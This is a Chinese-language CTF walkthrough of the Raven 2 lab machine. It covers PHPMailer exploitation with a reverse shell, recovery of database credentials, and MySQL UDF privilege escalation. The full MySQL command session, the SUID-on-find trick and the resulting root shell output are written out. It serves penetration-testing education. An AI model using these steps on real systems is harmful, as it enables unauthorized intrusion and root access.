复制代码

21. 从一道CTF靶机来学习mysql-udf提权

这次测试的靶机为 Raven: 2

这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU

此次靶机主要学习 PHPMailer 跟 mymql 的UDF提权。

扫描网站目录发现,还是wordpress搭建的,尝试使用wpscan对靶机进行扫描:

得到用户。

翻看爆破出来的目录,发现 http://192.168.0.141/vendor 存在任意文件遍历

并且在 PATH 目录下隐藏了一个flag,还得知整个网站搭建在 /var/www/html/ 目录下:

并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞。

在kali 中搜索相关漏洞 searchsploit phpmailer

把相关脚本拷贝到当前目录:

并且修改相关参数,target目标ip,要接收到的攻击者的ip,端口,路径:

保存并编译exp的py程序:

exp成功执行,访问后门文件 joker.php ,并设置端口监听:

shell已经反弹成功,我们用 python -c 'import pty;pty.spawn("/bin/bash")' 生成一个交互式shell,翻看目录,在

wordpress/wp-content.php 文件中找到了数据库账号密码:root/R@v3nSecurity

netstat -a 查看所有socket链接状况:

发现mysql服务启动

ps  aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务

尝试mysql的udf提权

找exp编号,并在kali上搜索:

具体怎么用,还需要看exp的说明 https://www.exploit-db.com/exploits/1518

先将exp 1518.c 在本地linux上编译完成后,再上传到靶机,这样能避免好多问题:

上传成功后,在靶机上链接mysql数据库并操作:

www-data@Raven:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.10 sec)

mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);            
create table foo(line blob);
Query OK, 0 rows affected (0.15 sec)

mysql> insert into foo values(load_file('/var/www/html/1518.so'));      
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.09 sec)                                                          

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';  
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname '1518.so';       
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.03 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');                        
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.10 sec)

mysql> 

mysql> quit
quit
Bye

www-data@Raven:/var/www/html$ touch foo
touch foo

www-data@Raven:/var/www/html$ find foo -exec 'whoami' \; find foo -exec 'whoami' \; root
www-data@Raven:/var/www/html$ find foo -exec 'id' \; find foo -exec 'id' \; uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' \; find foo -exec '/bin/sh' \; # # whoami whoami root # # id id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root cd /root
# ls ls flag4.txt
# cat flag4.txt cat flag4.txt ___ ___ ___ | _ \__ ___ _____ _ _ |_ _|_ _| | / _` \ V / -_) ' \ | | | | |_|_\__,_|\_/\___|_||_|___|___| flag4{df2bc5e951d91581467bb9a2a8ff4425} CONGRATULATIONS on successfully rooting RavenII I hope you enjoyed this second interation of the Raven VM Hit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io #

除了 do_system 外还可以使用其他函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

攻击过程中,如果是linux系统,需要将lib_mysqludf_sys.so上传到数据库能访问的路径下。lib_mysqludf_sys.so的导出路径:

MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把 lib_mysqludf_sys.so 文件放到MySQL安装目录下的lib\plugin\文件夹下才能创建自定义函数。

(此处需要注意:动态库的放置位置为目标机器mysql插件路径,可用以下命令获取:show variables like "%plugin%";)

激活存储过程 do_system 函数:

create function do_system returns string soname 'lib_mysqludf_sys.so ';

进行到此已可用root身份执行命令,替换id即可如:select do_system('whoami');  这将以root身份启动一个应用程序:

select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');  

(chown raptor.raptor 应按实际用户身份更改)

而文中使用了:

select do_system('chmod u+s /usr/bin/find'); 

就是给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令,具体参考:http://www.cnblogs.com/aaronax/p/5618024.html

chmod u+s temp — 为temp文件加上setuid标志. (setuid 只对文件有效)
chmod g+s tempdir — 为tempdir目录加上setgid标志 (setgid 只对目录有效)
chmod o+t temp — 为temp文件加上sticky标志 (sticky只对文件有效)

 

参考链接:

posted @ 2018-11-28 19:07  bmjoker  阅读(3238)  评论(0编辑  收藏  举报